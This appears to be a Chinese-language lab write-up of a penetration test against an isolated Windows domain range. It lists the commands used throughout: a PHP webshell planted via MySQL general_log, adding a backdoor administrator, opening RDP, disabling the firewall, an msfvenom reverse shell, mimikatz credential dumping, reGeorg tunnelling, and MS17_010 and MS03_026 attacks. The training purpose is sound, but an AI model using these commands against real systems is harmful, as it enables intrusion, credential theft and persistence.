一、环境搭建
域控:Windows server 2008 网络适配器设置为仅主机模式(只能与物理机通信,无法联通外网),首次登陆需要重新修改密码
域成员:Windows server 2003 网络适配器设置为仅主机模式(只能与物理机通信,无法联通外网),首次登陆需要重新修改密码
web服务器:Windows 7 网络适配器1设置为仅主机模式,网络适配器2设置为桥接模式
攻击机:kali Linux 网络适配器为桥接模式(关闭防火墙)
CS服务端:centos 网络适配器为桥接模式(关闭防火墙)
物理机是连接的网线
将虚拟机的桥接模式与之同步。
默认的开机密码都是:hongrisec@2019
搭建好之后将Windows 7 web服务器中的phpstudy打开并启动。
二、WEB渗透
前提:目标IP:192.168.100.13
2.1 信息搜集
(1)Nmap进行端口扫描
Nmap只扫到了两个端口,一个80端口(web服务),一个3306(MySQL默认端口)
首先访问一下80端口,发现的确搭建了一个web站点
(2)有用户登录界面(验证码复用测试):
验证码可以重复使用。
会员登录处的URL:
将r的参数修改为admin
此时就转到了后台管理登录界面,因为验证码可以重复使用,那么就可以用BP进行爆破
BP抓包,对账号密码处添加标记
设置payload
开始爆破
爆破成功,账号密码是:admin/123456
进入后台
(3)网站目录扫描
(4)信息整理
<1>网站CMS为Yxcms 1.2.1
<2>存在PHPmyadmin目录,可以尝试弱口令登录
<3>在Yxcms中,有后台模板插入木马getshell漏洞
2.2 漏洞利用
2.2.1 后台模板插入木马getshell
后台管理à全局设置à前台模板àindex_index.phpà编辑,插入一句话木马
使用蚁剑连接,getshell,且当前是系统administrator用户。
2.2.2 PHPmyadmin后台getshell
访问PHPmyadmin页面
尝试弱口令登录,最终以root/root为账号密码登陆成功。
在PHPmyadmin的后台可以通过开启全局日志进行getshell
1 set global general_log=on;# 开启日志
2 set global general_log_file='C:/phpstudy/www/v01cano.php';# 设置日志位置为网站目录
在SQL语句部分执行这两条命令:
然后SHOW VARIABLES LIKE '%general%'查看一下命令是否成功执行。
可以看到全局日志已经开启,且日志文件生成在网站根目录下。
下面就可以插入一句话木马,然后蚁剑连接,成功getshell。
三、内网渗透
3.1 尝试远程登录
3.1.1 查询是否开启了3389端口
1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f (关闭端口,只需将0替换为1即可)
开启3389端口,执行以下命令即可成功开启。
3.1.2 添加新用户,并添加到管理员组
1 net user yuuki qwerASDF!!! /add # 添加账户密码
2 net localgroup administrators yuuki /add # 给test账户添加为管理员权限
查看用户是否添加成功
3.1.2 远程登录
使用新创建的用户进行连接,但是提示无法连接
我们账户添加成功且3389也是开启的,但为什么连不了?
尝试:
<1>关闭防火墙
可以通过命令net firewall set opmode disable关闭防火墙。
此时可以正常连接了。
<2>使用隧道进行连接
先注册一个账号,https://www.ngrok.cc/user.html
选用一个隧道
创建隧道
启动客户端程序
远程登录,还是无法成功登陆(这只需要关闭目标的防火墙就可以了)
<3>使用MSF生成后门程序,反弹shell
1 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.100.13 LPORT=4444 -f exe > shell.exe
将生成的后门程序上传至服务器中,并运行起来。在kali Linux中设置监听的模块。
1 use exploit/multi/handler
2 set payload windows/meterpreter/reverse_tcp
3 set lhost 192.168.100.14
4 set lport 4444
5 run
通过蚁剑将后门程序上传至服务器,并运行起来。
成功监听到(不需要关闭目标的防火墙就可以成功)
<4>使用CobaltStrike生成后门程序,反弹shell
在CentOS中启动CS的服务端
kali Linux中启动客户端
添加新的监听器
配置监听器
生成后门程序
选择监听器,生成程序并保存;上传至服务器,并运行起来。
成功上线(不需要关闭目标的防火墙就可以成功)
3.2 信息收集
常用的域信息搜集命令:
1 net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
2 net user /domain #查看域用户
3 net view /domain #查看有几个域
4 ipconfig /all #查询本机IP段,所在域等
5 net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
6 net user #本机用户列表
7 net group "domain computers" /domain #查看域内所有的主机名
8 net group "domain admins" /domain #查看域管理员
9 net group "domain controllers" /domain #查看域控
10 net localhroup administrators #本机管理员[通常含有域用户]
11 net user 用户名 /domain #获取指定用户的账户信息
12 net group /domain #查询域里面的工作组
13 net group 组名 /domain #查询域中的某工作组
ipconfig -all
内网网卡
外网网卡
查询域列表
查询通域机器
判断主域
查询域用户
查询当前计算机名、计算机全名、用户名、工作组、软件版本、工作站域、工作站域DNS名称、登录域
整理信息
1 域:owa.god.org
2 域内的用户:Administrator、Guest、krbtgt、ligang、liukaifeng01
3 域内的主机:owa、ROOT-TVI862UBEH、STU1
4 域控:owa
5 Windows 7的内网IP:192.168.163.128
3.3 远程登录后信息收集
先将Zmap、mimikatz等工具上传至服务器
以管理员身份启动mimikatz,执行以下命令提取密码:
1 privilege::debug #提升权限
2
3 sekurlsa::logonpasswords #抓取密码
yuuki账户的密码
管理员的账户和密码
扫描内网的网段中存活的主机
其中除了Windows 7 web服务器以外,还有两台主机:
192.168.163.129
192,168,163.130
主机系统判断和端口开放情况扫描
总结:
192.168.163.129主机可能是
Microsoft Windows 2008|8.1|7|Phone|Vista
端口:135(MS03_026)、445(MS17_010)
192.168.163.130主机可能是
Microsoft Windows XP|2003
端口:135(MS03_026)、445(MS17_010)
四、横向渗透
4.1 添加路由、挂上Socks4a代理
添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即163网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递
添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务
(添加路由一定要在挂代理之前,因为代理需要用到路由功能)
在之前监听到的shell中设置内网路由
run autoroute -s 192.168.163.0/24
arp -a 查看一下所有接口的当前ARP缓存
通过reGeorge+socks4的方式添加代理,设置成功后打开其他程序前需要加上proxychains。
1 首先是reGeorge的安装,
2 下载:https://github.com/sensepost/reGeorg
3 运行序偶需要的环境:
4 Python、pip、urllib3;
5 pip安装(kali2020):
6 wget https://bootstrap.pypa.io/get-pip.py
7 python get-pip.py
8 urllib3安装:
9 pip install urllib3
首先,Windows7的靶机是php环境,将reGeorge中的tunnel.nosocket.php上传至网站,并访问。
1 python reGeorgSocksProxy.py -p 1080 -u http://192.168.100.13/tunnel.nosocket.php #表示本地1080端口的流量都转发给指定的那个url
2 1080是指定的监听端口;
之后在kali中执行命令:
然后配置proxychains代理链的配置文件/etc/proxychains.conf,将代理设置成本机的1080端口:socks4 127.0.0.1 1080
然后命令前面加上proxychains即可。如:proxychains curl http://192.168.52.139
访问内网测试:proxychains curl http://192.168.163.128
4.2 拿下第二台服务器
4.2.1 信息收集
通过前面的信息收集,我们知道了内网中存活着两台主机,且都开放了445端口,但是系统类型并没有准确判断出来。
可以通过MSF中的use auxiliary/scanner/smb/smb_version模块进行判断
因为我们添加了代理,所以在使用MSF时,应该在前面加上proxychains
最终确定下来
192.168.163.129
主机系统:Windows server 2008 R2
用户名:OWA(域控,前面的信息搜集中域控为OWA)
所属域:GOD
192.168.163.130
主机系统:Windows server 2003
用户名:ROOT-TVI862UBEH(域成员)
所属域:GOD
4.2.2 通过MS17_010进行远程命令执行
1 use auxiliary/admin/smb/ms17_010_command
2 show options #查看配置
3 set rhosts 192.168.163.129 #指定靶机IP
4 set command net user yuuki qwerASDF!!! /add #添加用户
5 run #成功执行
6
7 set command net localgroup administrators yuuki /add #管理员权限
8 run #成功执行
9
10 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
11 run #成功执行
12
13 set command netsh firewall set opmode mode=disable #关闭防火墙
远程登录
proxychains rdesktop 192.168.163.129
(但是登不进去,但是账户确实是添加进去了)
对于130(域成员)主机
1 use exploit/windows/dcerpc/ms03_026_dcom
2 set payload windows/meterpreter/bind_tcp #设置正向代理
3 set rhost 192.168.163.130
(没权限?)
可以抓到hash值,但抓不到明文
总结
整个实验做下来,直到获取内网信息还算顺利,但是到拿下主机时,就出现了很多问题
打内网主要使用MS17_010和MS03_026
1、129主机成功添加了账户开启了3389,但是登录时提示账户或密码错误;
2、130主机用MS03_026拿到一个session会话,但是没有权限,可以执行meterpreter的命令能抓到hash,但没有抓到明文。
2022-03-15 11:10:25